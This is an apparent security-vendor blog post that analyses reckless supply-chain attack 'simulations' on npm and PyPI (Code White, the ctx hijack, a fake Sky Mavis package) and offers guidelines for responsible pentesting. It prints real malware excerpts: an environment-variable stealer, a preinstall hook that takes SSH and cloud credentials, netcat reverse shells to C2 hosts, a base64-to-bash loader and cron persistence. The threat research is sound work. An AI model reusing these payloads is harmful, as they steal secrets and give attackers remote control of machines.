Testing resiliency against malicious package attacks: a double-edged sword?

Testing resiliency against malicious package attacks: a double-edged sword?

The JFrog Security research team continuously monitors popular open-source software (OSS) repositories with our automated tooling to avert potential software supply chain security threats, and reports any vulnerabilities or malicious packages discovered to repository maintainers and the wider community. At times, we notice trends that are worth analyzing and learning from.

Recently, we’ve noticed a growing usage of npm in “supply chain attack simulations” performed by red teams or independent pen-testers, utilizing typosquatting, dependency confusion, social engineering and more. Even though in these cases the “attackers” do not intend to cause any harm, we are seeing more and more irresponsible malicious package attack simulations that violate npm’s terms of service and put the organizations they were trying to help in real danger.

In this article we review recent cases of malicious package attack “simulations”, including a new dependency confusion attack we’ve recently discovered and reported, and go over best practices when using public platforms such as npm as part of a pentesting effort.

npm “Code White” dependency confusion – Obfuscated & extremely malicious payload

In May 2022, we detected an attack on several German industrial companies. The attacker used custom-written, highly obfuscated malware to steal the information and gain control over the infected machines. After we disclosed malware to the npm maintenance team and the target companies, a pentesting company called “Code White” published a post, taking responsibility and explaining their motives:

The modules that were posted to the npm registry did not contain any warning about their use in a pentesting effort:

modules posted to npm registry

Furthermore, the malicious payload that was installed contained full connectback shell capabilities and custom encryption code – abilities that are well beyond what’s necessary for a simple red team verification. Even though the pentesting intentions were legitimate, such a powerful payload can sometimes be hijacked by external threat actors, which can then cause real damage to the company under test.

PyPI ctx domain takeover – Stealing AWS access tokens

Another example of an irresponsible white hat researcher is the recent attack on the PyPI repository performed by the independent security researcher Yunus Aydin. The researcher used the domain takeover technique in order to hijack an extremely popular PyPI package – ctx. The original code was replaced with an info stealer malware, which exfiltrated the environment variables of the infected machine to the attacker’s server:

class Ctx(dict):
    def __init__(self):
        self.sendRequest()

    def sendRequest(self):
        string = ""
        for _, value in os.environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

The researcher claimed that the “research DOES NOT contain any malicious activity” and that he “wanted to show how this simple attack affects +10M users and companies” while further claiming that “ALL THE DATA THAT I RECEIVED IS DELETED AND NOT USED”.

While the researcher’s claimed intent is not malicious and meant to raise awareness, our assessment is that it does not justify unauthorized access to the environment variables For example, a true malicious actor could have hijacked the domain anti-theft-web.herokuapp.com which would have enabled them to get access to all of the leaked environment variables. These variables may expose PII (personally identifiable information) as well as sensitive data, such as hardcoded passwords or API tokens, adding a level of risk that is not needed to prove the researcher’s point. Assuming the researcher is really a white hat, they could have achieved the same proof of exploitation by having the payload ping back to the researcher’s server, without sending any additional data, especially not sensitive environment variables.

Sky-Mavis dependency confusion – all of the above

The most recent attack we discovered requires a more detailed explanation, as the attackers removed the malware after we reported it, and the story wasn’t covered in the media.

Our automatic scanners detected a suspicious module in the npm registry. The module pretended to be an internal Node.js module of the Sky Mavis company with an injected malicious payload, looking like a dependency confusion attack on a company’s supply chain.

design system - dependency confusion attack

The target

The name of the module’s scope, repository and the C2 domain registered for this attack, unveiled the target of the attack – a Vietnamese cryptocurrency company named Sky Mavis that hosts a popular blockchain NFT-collectible game, Axie infinity, and the software dubbed “Ronin network”: An Ethereum sidechain used for backing the game financially.

At the end of March 2022, this company became a victim of a large hack which resulted in $625M USD stolen in crypto assets, making it the biggest hack in the game industry’s history. According to the company’s blog, the root cause of the breach were stolen private keys from validators required to withdraw a currency from the network.

After the breach, Sky Mavis took several measures to prevent future attacks. One of them is an announcement of a bug bounty program with a reward of up to $1M, encouraging white-hat security researchers to help improve the security of their services.

Technical details of the discovered suspicious package

The malware we analyzed looks like a tampered version of a legitimate module. It contains more than a thousand files of the presumably original non-malicious source code and a single injected file with malicious code. Unfortunately, no license information or comments were detected that may help prove it’s a part of the Sky Mavis code. Still, the structure of code, the references to other internal modules and the fact that we could not find similar code publicly  led us to assume with a high probability that this package is an actual leaked internal package.

actual leaked internal package

In a typical dependency confusion attack, an attacker sets the maximal version number in the hope that it will be greater than the original one. In this case, since the attacker seemingly had access to the original code (and knowledge of the real version number), the attacker could slightly increment the version to “2.1.13”, which looks like a normal version number and doesn’t look suspicious:

{
    "name": "@sky-mavis/design-system",
    "version": "2.1.13",
    "description": "Core styles & components",
    "main": "dist/index.js",
}

Following the common practice of the Node.js malware development, the malware authors added the malicious file to the “scripts” entry of the package.json file, making it start during the module’s installation.

"scripts":{
   "preinstall": "node dist/utils/render.js"
}

The malicious script gathers and exfiltrates information about the infected system, specifically the following:

  • Username
  • Network configuration
  • Contents of the user’s home directory
  • Contents of all files under ./ssh, ./config, ./kube, and ./docker (directories which usually contain private keys and access tokens)
let dirs = [`${homedir}/.ssh`, `${homedir}/.config`, `${homedir}/.kube`, `${homedir}/.docker`]
for (let i in dirs) {
   files = getFiles(dirs[i])
   for (let j in files) {
       //...read files content
       makeRequest(data_files,true);
   }
}

After hijacking the sensitive information, the malware executes a shell script opening a reverse shell to the attacker’s server, giving the attacker complete control over the infected machine.

rm /tmp/f1;mkfifo /tmp/f1;cat /tmp/f1|/bin/sh -i 2>&1|nc axiedao[.]co 11211 >/tmp/f1

Strangely, the malicious code proceeds to open four more shell connections to the same server, but on different ports:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 13[.]215[.]202[.]61 27007 >/tmp/f;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 13[.]215[.]202[.]61 13443 >/tmp/f;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 13[.]215[.]202[.]61 23321 >/tmp/f;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 13[.]215[.]202[.]61 33443 >/tmp/f

The network infrastructure of the attacker

The domain names of the attacker servers npm[.]skymavis[.]ml and axiedao[.]co mimic the name of the network assets of the company under attack (skymavis.com and axiedao.org), respectively. Although this kind of naming is more inherent in Phishing attacks than in dependency confusion, we assume the attacker used these domains in a naive attempt to cover up the suspicious network activity. The fact that one of the domains redirects to the company webpage and the other contains the exact clone of the original website supports our assumption.

network infrastructure of the attacker

At the time of our research the 13.215.202.61 server was still alive, and by contacting it we actually received a payload, which was a set of base64-encoded shell commands –

echo Y2F0IH4vLnpza… cut …51bGwgMj4mMSAm | base64 -d | bash

The decoded commands were supposed to send sensitive information from the victim machine to https://axiedao[.]co. However – due to a programming error, the malware ended up dumping this information to stdout and sending an empty request to the C2 server –

cat ~/.zsh_history;
cat ~/.bash_history;
cat /etc/passwd;
cat /etc/hosts;
whoami;
ls -la /;
ls -la . ;
ls -la ~ ;
find ~/.config/ -type f -exec cat {} \\; ;
find ~/.ssh/ -type f -exec cat {} \\; ;
timeout 5 curl -d "fengshui=axiedaoo" https://axiedao[.]co ;

The following command creates a cron job, establishing one more shell to the server –

crontab -l | { cat; echo "*/5 * * * * rm /tmp/i;mkfifo /tmp/i;cat /tmp/i|/bin/sh -i 2>&1|nc axiedao.co 55443 >/tmp/i"; } | crontab - | bash

And the last command from the server creates a bash script which again establishes a connectback shell to the server once every minute –

while true;
do rm /tmp/g; mkfifo /tmp/g; cat /tmp/g|/bin/sh -i 2>&1|nc axiedao.co 8443 >/tmp/g;
sleep 60;
done

Who’s behind the Sky Mavis attack?

Besides the technical analysis of the malware, it would be interesting to understand who’s behind it and the attack’s end goal. The npm page of the repository points to a Github repository (which has since been removed), pretending to be an official project of the Sky Mavis company. However, the repository contained one more package, named persistence.

Fortunately for us, the repository owner kept the Git commit history. The history clearly shows that in the first commit, the developer’s homepage was changed from https://github.com/zoli4ch to https://github.com/sky-mavis (a newly-created account).

Whos behind the Sky Mavis attack

Looking at the zoli4ch profile on Github, doesn’t reveal much information –

zoli4ch profile on Github

Further searching for his profile gives us his account on the resource efience.com.  The link to the Github page matches the repository in the first version of the malware. According to the profile, the attacker is a Ho Chi Minh City University of Technology student (HCMUT) interested in the offensive side of cyber security.

zoli4c Web Pentester

The legitimate code of the original JavaScript module (supposedly design-system) isn’t available in the public domain, which raises the question of how the attacker got access to it. We assume it is most likely that the company hired a pentester to emulate a supply chain attack.

As in the previous cases, the actions of the pentester were outside the bounds of an ethical and responsible behavior –

  • The attacker uploaded dangerous code to the public software registry, in flagrant violation of the terms of service
  • The attacker leaked proprietary company source code, which real actors can use to launch further attacks on the company. For example, some project files from the leaked code, link to other private modules of the company. Attackers that obtained the names of these modules can launch a dependency confusion attack.
  • The attacker installed an overly-malicious payload (stealing private keys and opening connectback shells). A true malicious threat actor could have hijacked the domains axiedao.co or 13.215.202.61 and would have gotten full remote access to the company’s victim machines. This is made worse by the fact that the malicious payload is publicly available, so attackers would know exactly which domains to target and what kind of connection to expect.
  • The payload did not contain any access restrictions to make sure they are running on targeted computers. Thus any npm user that would have installed the malicious package would have been attacked with the full impact of the malicious payload.

The fallacy of “emulating a realistic attack scenario”

Many pentesting companies and individuals actually take pride in the fact that their attack closely mimics the attack of a real threat actor, and as such their intention

However, mimicking a real attacker poses several issues –

  • Violating the terms of service of the public infrastructure they use
  • Installing an overly malicious payload that can be hijacked by a real attacker
  • Endangering legitimate users of the public infrastructure
  • Causing undue panic on the target company’s PSIRT team

On top of that, mimicking a real attacker to such an extent actually does not have any benefits when taking into account the response of the “target” incident response team –

  • The PSIRT team would not filter out (in most reasonable cases) a malicious package even if it had an appropriate description. For example in attacks such as dependency confusion, no human even reads the package description
  • A “tracking” non-malicious payload proves that code was executed, without exposing the victim machine to an undue hijacking risk

3 guidelines for performing a responsible pentest (over public package repositories)

In our view, penetration testers validating resilience to software supply chain attacks should adhere to the following set of practices:

  1. Respect the terms of use for the public repository you are publishing on – for example npm’s terms for acceptable package content
  2. Write a comprehensive description of the package, describing its functionality and target
  3. Be as unintrusive as possible: avoid taking full control over the attacked machine and do not access unauthorized personal data

Stay up-to-date with JFrog Security Research

Follow the latest discoveries and technical updates from the JFrog Security Research team in our security research blog posts and on Twitter at @JFrogSecurity.

Protect from malicious package attacks with JFrog Xray

In addition to exposing new security threats, JFrog lets organizations develop and deliver secure software by quickly detecting third-party malicious packages with automated security scanning by JFrog Xray.